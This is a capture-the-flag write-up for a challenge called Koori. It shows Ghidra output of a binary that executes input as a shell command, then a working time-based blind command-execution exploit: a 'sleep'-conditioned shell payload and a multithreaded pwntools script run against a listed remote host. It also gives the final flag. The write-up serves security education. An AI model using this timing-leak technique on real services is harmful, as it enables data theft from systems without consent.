ctf-writeups

Koori

Only someone afflicted with Koori must strengthen their other senses! Is there anything that can take the place of the eyes?

nc 65.109.210.228 31333

Decompile the attachment in Ghidra:


/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  undefined1 auStack_130 [24];
  char input [256];
  long local_18;
  
  local_18 = ___stack_chk_guard;
  setbuf(_stdout,(char *)0x0);
  setbuf(_stdin,(char *)0x0);
  FUN_00100dd8(auStack_130);
  printf("Please send your input :) ");
  fgets(input,0x100,_stdin);
  sVar2 = strcspn(input,"\n");
  input[sVar2] = '\0';
  sVar2 = strlen(input);
  if (0x20 < sVar2) {
    puts("Sorry, your input is too lengthy :|");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  FUN_00100e54(auStack_130);
  iVar1 = FUN_00100f24(input,0xe);
  if (iVar1 != 0) {
    puts("The input timed out :(");
  }
  FUN_00100ea4(auStack_130);
  puts("Your input has been validated :D");
  if (local_18 - ___stack_chk_guard != 0) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail(&__stack_chk_guard,0,0,local_18 - ___stack_chk_guard);
  }
  return 0;
}


/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 FUN_00100f24(undefined8 param_1,int param_2)

{
  __pid_t _Var1;
  undefined8 uVar2;
  time_t __time1;
  double dVar3;
  uint local_28;
  __pid_t local_24;
  time_t local_20;
  long local_18;
  
  local_18 = ___stack_chk_guard;
  local_24 = fork();
  if (local_24 == 0) {
    execl("/bin/sh","sh",&DAT_001011e8,param_1,0);
    perror("Failed :(");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  if (local_24 < 0) {
    perror("ERR :|");
    uVar2 = 0xffffffff;
  }
  else {
    local_20 = time((time_t *)0x0);
    while (_Var1 = waitpid(local_24,(int *)&local_28,1), _Var1 == 0) {
      __time1 = time((time_t *)0x0);
      dVar3 = difftime(__time1,local_20);
      if ((double)param_2 < dVar3) {
        kill(local_24,9);
        waitpid(local_24,(int *)0x0,0);
        uVar2 = 0xffffffff;
        goto LAB_00101058;
      }
      sleep(1);
    }
    if ((local_28 & 0x7f) == 0) {
      uVar2 = 0;
    }
    else {
      uVar2 = 0xffffffff;
    }
  }
LAB_00101058:
  if (local_18 - ___stack_chk_guard != 0) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail(&__stack_chk_guard,uVar2,0,local_18 - ___stack_chk_guard);
  }
  return uVar2;
}

It executes the provided shell command (length <= 0x20) with a timeout. The stdin/stdout/stderr are redirect to /dev/null, so we cannot use them to leak data. Instead, we can use time as the side channel to leak data.

Following the same blind execution process of https://wr3nchsr.github.io/cyctf-blindexec-writeup/, attack in steps:

  1. for each character position idx and possible character c, execute:
[ `cut -c{idx} f*` = {c} ]&&sleep 9
  1. if it finishes before 9s, the condition is not satisfied; otherwise, we found a match

Based on the multithreaded exploit code from https://wr3nchsr.github.io/cyctf-blindexec-writeup/, here is the attack code for this challenge:

import pwn
import string
import itertools
import time
from threading import Thread

bruteforce_pool = (
    string.ascii_lowercase + string.ascii_uppercase + string.digits + "}{_!-;:"
)
keys = {}
for c in bruteforce_pool:
    keys[c] = 0


def check(idx, c):
    global keys
    io = pwn.remote("65.109.210.228", 31333)
    payload = f"[ `cut -c{idx} f*` = {c} ]&&sleep 9"
    io.sendlineafter(b"Please send your input :)", payload.encode())
    output = io.recvline(timeout=8)
    if b"Your input has been validated :D" not in output:
        keys[c] = 1
    io.close()


def main():
    global keys
    flag = ""
    logging = pwn.log.progress("Flag")
    while not flag.endswith("}"):
        print(flag)
        # run simultaneous connections for each possible character
        for batch in itertools.batched(bruteforce_pool, 6):
            threads = list()
            for c in batch:
                t = Thread(target=check, args=(len(flag) + 1, c))
                t.start()
                threads.append(t)
            for t in threads:
                t.join()
            print(keys, flag)

            # break early
            counter = 0
            for i in keys:
                if keys[i]:
                    counter += 1
            if counter == 1:
                break

        # check for false positives or no output
        counter = 0
        for i in keys:
            if keys[i]:
                counter += 1
        if counter != 1:
            for i in keys:
                keys[i] = 0
            time.sleep(1)
            continue

        # get correct value
        for k in keys:
            if keys[k]:
                flag += k
                logging.status(flag)
                keys[k] = 0
                break
    logging.success(flag)


if __name__ == "__main__":
    main()

Flag: ASIS{bl!nD_3XeCuTi0n!}.